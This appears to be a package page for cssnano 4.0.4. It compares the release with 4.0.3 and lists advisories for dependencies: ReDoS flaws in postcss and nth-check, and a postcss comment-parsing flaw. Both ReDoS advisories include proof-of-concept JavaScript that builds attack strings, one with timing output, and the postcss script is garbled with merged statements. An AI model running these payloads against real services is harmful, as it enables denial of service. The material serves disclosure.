Cssnano, a modular CSS minifier built on PostCSS, saw a minor version update from 4.0.3 to 4.0.4 in July 2018. Both versions share the same core dependencies, including PostCSS, cosmiconfig, is-resolvable, and cssnano-preset-default, all at compatible versions ensuring consistent core functionality for developers leveraging CSSnano's minification capabilities. Similarly, the development dependencies, vital for contributing and extending the library, remain unchanged, including tools like webpack, babel, and webpack-bundle-size-analyzer.
The key difference lies in internal improvements reflected a small increase in the unpacked size 4.0.4 is 26199 bytes compared to 4.0.3 which is only 25919 bytes, suggesting slight refinements to the codebase or bundled assets. The updated release date, July 25, 2018, indicates the newer version incorporates bug fixes, performance enhancements, or minor feature tweaks implemented after the earlier release on July 18, 2018.
For developers, this means choosing version 4.0.4 gives you the benefit of the latest improvements and potential bug fixes within the stable 4.x branch, although the specific nature of these updates isn't explicitly detailed in the metadata. This version offers a reliable solution for minimizing CSS file sizes, leveraging a robust and modular architecture.
All the vulnerabilities related to the version 4.0.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms